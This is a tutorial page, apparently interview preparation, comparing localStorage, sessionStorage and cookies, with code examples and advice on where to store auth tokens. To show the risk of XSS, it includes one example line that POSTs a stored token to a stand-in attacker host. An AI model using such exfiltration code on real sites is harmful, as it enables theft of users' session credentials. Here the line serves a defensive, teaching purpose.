localStorage vs sessionStorage vs Cookies
Short answer
localStorage keeps data until you delete it, scoped to the origin and shared across tabs. sessionStorage keeps data only until that tab closes and is never shared. Cookies are the only one sent to the server with every request, which is why authentication uses them — and why they must stay small.
| localStorage | sessionStorage | Cookies | |
|---|---|---|---|
| Lifetime | Until explicitly cleared | Until the tab closes | Until the expiry you set |
| Sent to the server | Never | Never | On every matching request |
| Size limit | ~5–10 MB | ~5–10 MB | ~4 KB per cookie |
| Shared across tabs | Yes, same origin | No — per tab | Yes, same domain |
| Readable by JavaScript | Yes | Yes | Only if not HttpOnly |
| Survives a browser restart | Yes | No | If it has an expiry date |
| API | Synchronous, string only | Synchronous, string only | document.cookie string, or Set-Cookie |
| Typical use | Theme, drafts, cached data | Multi-step form, tab state | Session/auth, server-read flags |
The one difference that decides everything
Cookies are sent to the server. localStorage and sessionStorage are not. That single fact is why cookies still exist despite being smaller, fiddlier and older — and why every serious authentication discussion ends up back at them. If the server needs to know something on every request, it has to be a cookie. If only your JavaScript needs it, use one of the storage APIs and keep it out of the network entirely.
The second difference is lifetime, and it is the one people get wrong in interviews. localStorage has no expiry at all — data written by your site in January is still there in December unless you or the user removes it. sessionStorage is scoped to the tab, which is stricter than most people expect: two tabs on the same site have two completely separate sessionStorage stores.
1localStorage.setItem("theme", "dark");
2sessionStorage.setItem("step", "3");
3
4localStorage.getItem("theme"); // → "dark"
5sessionStorage.getItem("step"); // → "3"
6
7// Close the tab and reopen the site:
8localStorage.getItem("theme"); // → "dark" (still there)
9sessionStorage.getItem("step"); // → null (gone with the tab)
10
11localStorage.removeItem("theme");
12localStorage.clear(); // → wipes everything for this originEverything is a string
Both storage APIs store strings and only strings. Anything you pass is coerced, which produces a specific class of bug that is worth being able to describe: store the number 0 and read back the string "0", which is truthy. Store an object and read back "[object Object]", with the data gone for good.
1localStorage.setItem("count", 0);
2localStorage.getItem("count"); // → "0" (a string)
3if (localStorage.getItem("count")) {} // → runs! "0" is truthy
4
5localStorage.setItem("user", { name: "Arun" });
6localStorage.getItem("user"); // → "[object Object]"
7
8// Correct: serialise explicitly
9localStorage.setItem("user", JSON.stringify({ name: "Arun" }));
10JSON.parse(localStorage.getItem("user")); // → { name: "Arun" }
11
12// And parse defensively — a corrupted value should not crash the app
13function read(key, fallback = null) {
14 try {
15 const raw = localStorage.getItem(key);
16 return raw === null ? fallback : JSON.parse(raw);
17 } catch {
18 return fallback; // → invalid JSON, or storage blocked entirely
19 }
20}That try/catch is not defensive padding. Accessing localStorage throws in Safari's private mode when the quota is zero, and throws in any browser when the user has blocked site data. A single unguarded `localStorage.getItem` at module scope can take down an entire React app on load, which is an outage nobody sees in testing because it only happens under settings developers rarely use.
Cookies: smaller, older, and still necessary
A cookie is a small key–value pair the browser attaches to every request matching its domain and path. That automatic attachment is its entire reason for existing: the server gets the value without your code doing anything. The cost is bandwidth — a 4KB cookie is 4KB added to every request, including images and API calls, which is why the limit is so small and why you should treat it as precious.
1document.cookie = "theme=dark; max-age=2592000; path=/; SameSite=Lax";
2
3document.cookie;
4// → "theme=dark; consent=yes; _ga=GA1.2.123" ALL cookies, one string
5
6// There is no removeItem — you expire it instead
7document.cookie = "theme=; max-age=0; path=/";
8
9// Reading one value means parsing the whole string
10function getCookie(name) {
11 return document.cookie
12 .split("; ")
13 .find(row => row.startsWith(name + "="))
14 ?.split("=")[1];
15}
16getCookie("theme"); // → "dark"
17
18// The modern API, where supported:
19await cookieStore.get("theme"); // → { name: "theme", value: "dark" }In practice you rarely write authentication cookies from JavaScript at all. The server sets them with a `Set-Cookie` header and the flags that make them safe, and the browser handles the rest. Client-side cookie writing is mostly for things the server needs to read but that are not sensitive — a locale preference, a consent flag, an A/B bucket.
| Flag | Effect | Prevents |
|---|---|---|
| HttpOnly | JavaScript cannot read it | Token theft via XSS |
| Secure | HTTPS only | Interception on plain HTTP |
| SameSite=Lax | Not sent on cross-site POSTs | Most CSRF |
| SameSite=Strict | Never sent cross-site | CSRF, at the cost of broken inbound links |
| Max-Age / Expires | Sets the lifetime | Sessions that outlive their welcome |
| Path / Domain | Limits where it is sent | Leaking to unrelated routes or subdomains |
This is 1 of 80+ questions in the JavaScript Interview Kit
Get every question with detailed answers, follow-ups and real code — plus coding challenges and a last-minute revision sheet. One-time payment, instant access.
⚡ Get the JavaScript Interview Kit → ₹299Where should an auth token actually go?
This is the follow-up that arrives about ninety seconds into any interview that starts with this question, and the answer that gets marked correct is: an HttpOnly, Secure, SameSite cookie set by the server. Not localStorage. The reasoning matters more than the conclusion, so be ready to give it.
Anything in localStorage is readable by any JavaScript running on your origin. That includes every npm package in your bundle, every analytics snippet, and any script an attacker manages to inject. One cross-site scripting hole and the token is exfiltrated in a single line. An HttpOnly cookie is invisible to JavaScript entirely, so the same XSS cannot read it.
1// Anything that runs on your page can do this:
2fetch("https://attacker.example/collect", {
3 method: "POST",
4 body: localStorage.getItem("token"),
5});
6// → the token is gone, and nothing in the browser stopped it
7
8// With HttpOnly, the same script gets nothing:
9document.cookie;
10// → "theme=dark" the session cookie is not in the list at allThe usual objection is that cookies are vulnerable to CSRF while localStorage is not. That was a real trade-off a decade ago; it is much weaker now. `SameSite=Lax` is the default in every current browser and blocks the cross-site POST that classic CSRF depends on, and a token pattern closes the remaining gap. XSS, meanwhile, has no equivalent mitigation for localStorage — you either have the vulnerability or you do not.
Sharing state between tabs
localStorage has a feature that is easy to miss and genuinely useful: writing to it fires a `storage` event in every other tab on the same origin. Not in the tab that made the change — only the others. That makes it a working cross-tab message bus, which is how most apps implement "log out everywhere" without a websocket.
1// Tab A
2localStorage.setItem("logout", String(Date.now()));
3
4// Tab B (and C, and D…)
5window.addEventListener("storage", (e) => {
6 if (e.key === "logout") {
7 redirectToLogin();
8 }
9 // e.oldValue / e.newValue / e.url are all available
10});
11// → fires in every OTHER tab; never in the tab that wrote the value
12
13// sessionStorage never fires this — it is per-tab by definitionFor richer cross-tab messaging, `BroadcastChannel` is the purpose-built API and does not abuse a storage key as a signalling channel. The storage event still wins when you also want the value persisted, and it works in slightly more places.
Size, performance, and what breaks at scale
Both storage APIs are synchronous, which means every read and write blocks the main thread. For a few kilobytes that is irrelevant. For a megabyte of cached JSON it is not: the parse alone can cost tens of milliseconds, and doing it during render is a measurable hit to Interaction to Next Paint. If you are caching real amounts of data, IndexedDB is the right tool — asynchronous, far larger, and it stores structured values without a JSON round trip.
| Data | Store | Why |
|---|---|---|
| Theme, language, sidebar state | localStorage | Small, persistent, client-only |
| A multi-step form in progress | sessionStorage | Should not survive the tab |
| Session / auth token | HttpOnly cookie | Server needs it; JS must not read it |
| Consent flag the server reads | Cookie | Must be sent with the request |
| Cached API responses (MBs) | IndexedDB | Async, large, structured |
| Anything secret | Nowhere on the client | The browser is not a vault |
Using them safely in React
In a server-rendered React app, none of these APIs exist during the server render. Reading localStorage in a component body or in a `useState` initialiser crashes the build or produces a hydration mismatch, because the server renders one value and the client immediately renders another. The fix is to read after mount, accepting one frame of the default value.
1function useStoredState(key, initial) {
2 const [value, setValue] = useState(initial); // server and first client render agree
3
4 useEffect(() => {
5 try {
6 const raw = localStorage.getItem(key);
7 if (raw !== null) setValue(JSON.parse(raw));
8 } catch {}
9 // → runs on the client only, after hydration
10 }, [key]);
11
12 useEffect(() => {
13 try {
14 localStorage.setItem(key, JSON.stringify(value));
15 } catch {}
16 }, [key, value]);
17
18 return [value, setValue];
19}
20
21// Reading during render instead would give:
22// → Error: localStorage is not defined (on the server)
23// → Warning: Text content did not match (on hydration)If the flash of the default value is unacceptable — the classic case being a dark theme flashing white on load — the standard fix is a tiny blocking script in the document head that reads localStorage and sets a class on `html` before the first paint. It is one of the few legitimate uses of a render-blocking inline script.
Are localStorage and sessionStorage shared across subdomains?
No. Both are scoped to the full origin — scheme, host and port — so app.example.com and admin.example.com have entirely separate stores, and http and https versions of the same host do too. Cookies are different: they are scoped by domain and can deliberately be shared across subdomains with the Domain attribute.
Do these count as cookies under GDPR or the DPDP Act?
The law is about storing and reading information on a user's device, not about the specific API. localStorage used for tracking or analytics needs consent exactly as a tracking cookie does. Strictly necessary storage — a session token, a shopping cart — generally does not. The mechanism does not change the obligation.
What is the difference between sessionStorage and a session cookie?
A session cookie has no expiry date and is deleted when the browser closes, but it is shared across every tab and is sent to the server. sessionStorage is scoped to a single tab, is never transmitted, and is cleared when that one tab closes. They sound alike and behave quite differently.
Can I set an expiry on localStorage?
Not natively — there is no TTL. The usual pattern is to store the value together with an expiry timestamp and check it on read, deleting the entry if it has passed. Any "localStorage with expiry" library is doing exactly that in about fifteen lines.
What happens to storage in incognito mode?
All three work normally within the private session and are wiped when the last private window closes. Safari historically gave localStorage a zero quota in private mode, so writes threw immediately — another reason to wrap access in try/catch rather than assume it succeeds.
Frequently asked questions
- What is the difference between localStorage, sessionStorage and cookies?
- localStorage persists until it is explicitly cleared and is shared across tabs on the same origin. sessionStorage lasts only until that specific tab closes and is never shared. Cookies are much smaller — about 4KB — and are the only one of the three automatically sent to the server with every matching request.
- What is the difference between localStorage and sessionStorage?
- Only lifetime and scope. The APIs are identical. localStorage survives browser restarts and is shared by every tab on the origin; sessionStorage is private to one tab and is deleted when that tab closes. Duplicating a tab copies its sessionStorage, but opening a new one does not.
- Is localStorage safe for storing a JWT?
- No. Any JavaScript on your origin can read it, including third-party packages and any injected script, so a single XSS vulnerability leaks the token. Store the token in an HttpOnly, Secure, SameSite cookie set by the server, which JavaScript cannot read at all.
- Where should I store an authentication token in a React app?
- Refresh tokens go in an HttpOnly, Secure, SameSite=Lax cookie set by the server. Keep the short-lived access token in memory — a module variable or context — so it disappears on reload and is never written anywhere a script can read it later.
- How much data can localStorage hold?
- Roughly 5MB per origin in most browsers, and up to 10MB in some. The quota is shared across all keys for that origin, and exceeding it throws a QuotaExceededError on write. Cookies are far smaller at about 4KB each, with a per-domain cap of around 50.
- Are cookies sent with every request?
- Every request whose domain and path match the cookie, including images, stylesheets and API calls. That is what makes them useful for sessions and also what makes them expensive — a large cookie adds its size to every single request the page makes.
- Can localStorage be shared between subdomains?
- No. It is scoped to the exact origin, so app.example.com and www.example.com have separate stores and cannot see each other's data. Cookies can be shared across subdomains by setting the Domain attribute, which is why cross-subdomain sessions use cookies.
- Why does my object come back as [object Object]?
- Because both storage APIs only hold strings and coerce whatever you pass. Serialise on the way in with JSON.stringify and parse on the way out with JSON.parse — and wrap the parse in try/catch, since a corrupted value would otherwise throw and break the page.
- Does sessionStorage persist after a page refresh?
- Yes. A refresh, a same-tab navigation and a back-button return all preserve it, because the tab itself never closed. Only closing the tab — or the window containing it — clears it. That is the difference people most often get wrong.
- How do I detect a change to localStorage in another tab?
- Listen for the window storage event. It fires in every other tab on the same origin when a value changes, with the key, old value and new value attached. It deliberately does not fire in the tab that made the change, which is why cross-tab logout works cleanly.
- Should I use localStorage or IndexedDB?
- localStorage for small, simple, synchronous values — a theme, a flag, a short preference. IndexedDB once you are storing real volume or structured data: it is asynchronous so it does not block the main thread, holds far more, and stores objects without a JSON round trip.
- Do localStorage and sessionStorage work in incognito mode?
- Yes, within that private session, and everything is discarded when the last private window closes. Safari has historically given localStorage a zero quota in private mode so writes threw immediately — a good reason to guard every access with try/catch.
This is 1 of 80+ questions in the JavaScript Interview Kit
Get every question with detailed answers, follow-ups and real code — plus coding challenges and a last-minute revision sheet. One-time payment, instant access.
⚡ Get the JavaScript Interview Kit → ₹299